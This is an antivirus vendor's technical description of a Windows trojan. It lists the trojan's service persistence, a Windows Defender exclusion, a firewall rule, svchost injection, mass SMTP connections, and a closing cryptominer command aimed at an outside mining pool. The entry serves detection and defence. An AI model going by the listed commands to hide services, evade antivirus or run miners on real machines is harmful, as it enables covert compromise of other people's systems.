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Trojan.Siggen9.18236

Added to the Dr.Web virus database: 2020-03-07

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\afitzpqt] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\afitzpqt] 'ImagePath' = '%WINDIR%\SysWOW64\afitzpqt\jvuitdlf.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\afitzpqt] 'ImagePath' = '%WINDIR%\SysWOW64\afitzpqt\jvuitdlf.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\afitzpqt' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\jvuitdlf.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\jvuitdlf.exe to %WINDIR%\syswow64\afitzpqt\jvuitdlf.exe
Deletes itself.
Network activity
Connects to
  • 'mx#.###bluecross.com':25
  • 'as#####20.oracle.com':25
  • 'w0#####b.kasserver.com':25
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • '17#.#.114.177':416
  • '46.#.52.109':416
  • '93.##9.69.109':416
  • '46.#8.66.2':416
  • 'fu#####ter1.fullnet.net':25
  • 'mx###.##il.am0.yahoodns.net':25
  • 'cu######il.hyperoffice.us':25
  • 'mx##.##am-vault.co.uk':25
  • 'mx.##tplus.ch':25
  • 'az###.#om.1.arsmtp.com':25
  • 'cu####.cscdns.net':25
  • 'ct##irm.com':25
  • 'li####torm.com.au':25
  • 'mx#.ovh.net':25
  • 'mx###.##il.gm0.yahoodns.net':25
  • 'ma##.###moudehgroup.com.jo':25
  • 'ar########.mail.protection.outlook.com':25
  • 'ca#########.mail.protection.outlook.com':25
  • 'at########.#om.mx1.staffordassoc.rcimx.net':25
  • 'mx#.#opnet.tn':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'ma##.avo-k.com':25
  • '18#.#65.238.150':416
  • 'mx#####.ppe-hosted.com':25
  • '78.#1.67.23':416
  • 'em###.darlings.com':25
  • '85.##4.134.88':480
  • 'mi####.bittubeapp.com':13333
  • 'ms#####.##c.protection.outlook.com':25
  • 'em###.qmtlaw.com.au':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'pa###########-au.mail.protection.outlook.com':25
  • 'alt2.aspmx.l.google.com':25
  • 'mx.##.#topenworld.com':25
  • 'aspmx.l.google.com':25
  • 'mg###.##minolesheriff.org':25
  • 'ma##.#ope-mail.com':25
  • 'ma##.#ts-europe.de':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'di##.gorgu.net':25
  • 'mt##.##0.yahoodns.net':25
  • 'd1######.#ss.barracudanetworks.com':25
  • 'mo#########-com-au.p10.mxthunder.com':25
  • 'mx#.##p.sina.com':25
  • 'mx#.#####bishi.firstwave.com.au':25
  • 'ma##.#zlawfirm.com':25
  • 'alt1.aspmx.l.google.com':25
  • 'ma##.#zlawfirms.com':25
  • 'mx#.##tsolmail.net':25
  • 'ma##.#zlawyers.com':25
  • 'ma##.##rendsen.com.au':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK mx#######301.gslb.pphosted.com
    • DNS ASK un##ybox.de
    • DNS ASK mx##.#nity-mail.com
    • DNS ASK az##a.com
    • DNS ASK az###.#om.1.arsmtp.com
    • DNS ASK in##e.at
    • DNS ASK mx###.upcmail.net
    • DNS ASK af##.com.au
    • DNS ASK cu####.cscdns.net
    • DNS ASK li#e.fr
    • DNS ASK xt##.co.nz
    • DNS ASK mx.##ra.co.nz
    • DNS ASK ib#.com
    • DNS ASK eg##m.co.in
    • DNS ASK te##net.be
    • DNS ASK mx#.##lenet-ops.be
    • DNS ASK az#.com
    • DNS ASK ma###hon.com.au
    • DNS ASK fu#####ter1.fullnet.net
    • DNS ASK mx.#########n.com.cust.b.hostedemail.com
    • DNS ASK ha###rrison.com
    • DNS ASK ho##ail.fr
    • DNS ASK gt###nect.com
    • DNS ASK mx######92f01.pphosted.com
    • DNS ASK ya##o.co.uk
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK ag###.wa.gov.au
    • DNS ASK we#.de
    • DNS ASK ag##########-au.mail.protection.outlook.com
    • DNS ASK mx###02.web.de
    • DNS ASK gt###nsult.fr
    • DNS ASK mx#.ovh.net
    • DNS ASK lo###ines.com
    • DNS ASK cu######il.hyperoffice.us
    • DNS ASK gt####iers.co.uk
    • DNS ASK mx##.##am-vault.co.uk
    • DNS ASK da####angdon.com.au
    • DNS ASK mx#######703.gslb.pphosted.com
    • DNS ASK ne###higan.com
    • DNS ASK li####torm.com.au
    • DNS ASK ma##.#appyisp.com
    • DNS ASK ma##.###moudehgroup.com.jo
    • DNS ASK mx#.###bluecross.com
    • DNS ASK ha####illips.com
    • DNS ASK mx#######e01.gslb.pphosted.com
    • DNS ASK ci#.com.tn
    • DNS ASK mx#.#opnet.tn
    • DNS ASK gm#.de
    • DNS ASK mx##.#mig.gmx.net
    • DNS ASK az##ser.com
    • DNS ASK av##k.com
    • DNS ASK ya##o.de
    • DNS ASK be####sen.com.au
    • DNS ASK ma##.##rendsen.com.au
    • DNS ASK gr####leopatra.com
    • DNS ASK ye##.net
    • DNS ASK ye######.mxmail.netease.com
    • DNS ASK av##e.de
    • DNS ASK as#####20.oracle.com
    • DNS ASK ca####ecross.com
    • DNS ASK mx###.##il.gm0.yahoodns.net
    • DNS ASK ya###.com.tw
    • DNS ASK at###ticuv.com
    • DNS ASK su##bvi.com
    • DNS ASK mx##.#pcmail.net
    • DNS ASK ar##le.com
    • DNS ASK ar########.mail.protection.outlook.com
    • DNS ASK ya##o.co.in
    • DNS ASK mx#####.#ail.gm0.yahoodns.net
    • DNS ASK at####ic-usa.com
    • DNS ASK mx#####.ppe-hosted.com
    • DNS ASK ya##o.ca
    • DNS ASK ca##ire.com
    • DNS ASK ca#########.mail.protection.outlook.com
    • DNS ASK re##ult.com
    • DNS ASK sm##.renault.fr
    • DNS ASK ha###partner.de
    • DNS ASK ex######.hamm-partner.de
    • DNS ASK at########.#om.mx1.staffordassoc.rcimx.net
    • DNS ASK ha#####ehgroup.com.jo
    • DNS ASK or##le.com
    • DNS ASK en##.com
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK us.#bm.com
    • DNS ASK ma##.#ts-europe.de
    • DNS ASK az##n.com
    • DNS ASK mx#######801.gslb.pphosted.com
    • DNS ASK ct##irm.com
    • DNS ASK ti###linet.it
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK se####lesheriff.org
    • DNS ASK mg###.##minolesheriff.org
    • DNS ASK bt###nworld.com
    • DNS ASK mx.##.#topenworld.com
    • DNS ASK co###ter.org
    • DNS ASK aspmx.l.google.com
    • DNS ASK bi##w.com
    • DNS ASK ma##.#ope-mail.com
    • DNS ASK fi###ixer.com
    • DNS ASK co#.net
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK cx#.##.#.cloudfilter.net
    • DNS ASK ho##ail.com
    • DNS ASK ho###il.co.uk
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK qm###w.com.au
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK em###.qmtlaw.com.au
    • DNS ASK at##.edu
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK ms#.com
    • DNS ASK ms#####.##c.protection.outlook.com
    • DNS ASK da###ngs.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK em###.darlings.com
    • DNS ASK pa####nds.com.au
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK pa###########-au.mail.protection.outlook.com
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK vi#.#ina.com
    • DNS ASK ct###urope.de
    • DNS ASK mx#.##p.sina.com
    • DNS ASK mx#.##tsolmail.net
    • DNS ASK mx.##tplus.ch
    • DNS ASK po###k.com.au
    • DNS ASK sa###-lukes.org
    • DNS ASK mx#######a01.gslb.pphosted.com
    • DNS ASK az###yers.com
    • DNS ASK ma##.#zlawyers.com
    • DNS ASK em##l.com
    • DNS ASK mx#.#mpal.com
    • DNS ASK aa#.com.au
    • DNS ASK ct##la.com
    • DNS ASK sp#####lter2.ctsfla.com
    • DNS ASK t-##line.de
    • DNS ASK mx##.#-online.de
    • DNS ASK ho##ail.dk
    • DNS ASK google.com
    • DNS ASK ap##ets.org
    • DNS ASK az###firms.com
    • DNS ASK ne##lus.ch
    • DNS ASK ma##.#zlawfirms.com
    • DNS ASK alt1.aspmx.l.google.com
    • DNS ASK mm##.com.au
    • DNS ASK ao#.com
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK ga##.org
    • DNS ASK di##.gorgu.net
    • DNS ASK mo####links.com.au
    • DNS ASK mo#########-com-au.p10.mxthunder.com
    • DNS ASK ya##o.com
    • DNS ASK w0#####b.kasserver.com
    • DNS ASK ma##.avo-k.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK li##ro.it
    • DNS ASK sm####n.libero.it
    • DNS ASK li##.com
    • DNS ASK li######.#lc.protection.outlook.com
    • DNS ASK az###firm.com
    • DNS ASK ma##.#zlawfirm.com
    • DNS ASK ua##c.org
    • DNS ASK mx#.#####bishi.firstwave.com.au
    • DNS ASK d1######.#ss.barracudanetworks.com
    • DNS ASK 94##3.com
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\afitzpqt\jvuitdlf.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\afitzpqt\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jvuitdlf.exe" %WINDIR%\SysWOW64\afitzpqt\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create afitzpqt binPath= "%WINDIR%\SysWOW64\afitzpqt\jvuitdlf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description afitzpqt "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start afitzpqt' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\afitzpqt\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jvuitdlf.exe" %WINDIR%\SysWOW64\afitzpqt\
    • '%WINDIR%\syswow64\sc.exe' create afitzpqt binPath= "%WINDIR%\SysWOW64\afitzpqt\jvuitdlf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description afitzpqt "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start afitzpqt
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3yF6V9xnLZcVuHhV6W19JR6Ze5F6M26CDujJeY4mkkQ3ZsCiyenVujf2DkwFXaoL3rb8rvtSseFVvTsDPSJt482P4jGtDmN.50000 -p x -k

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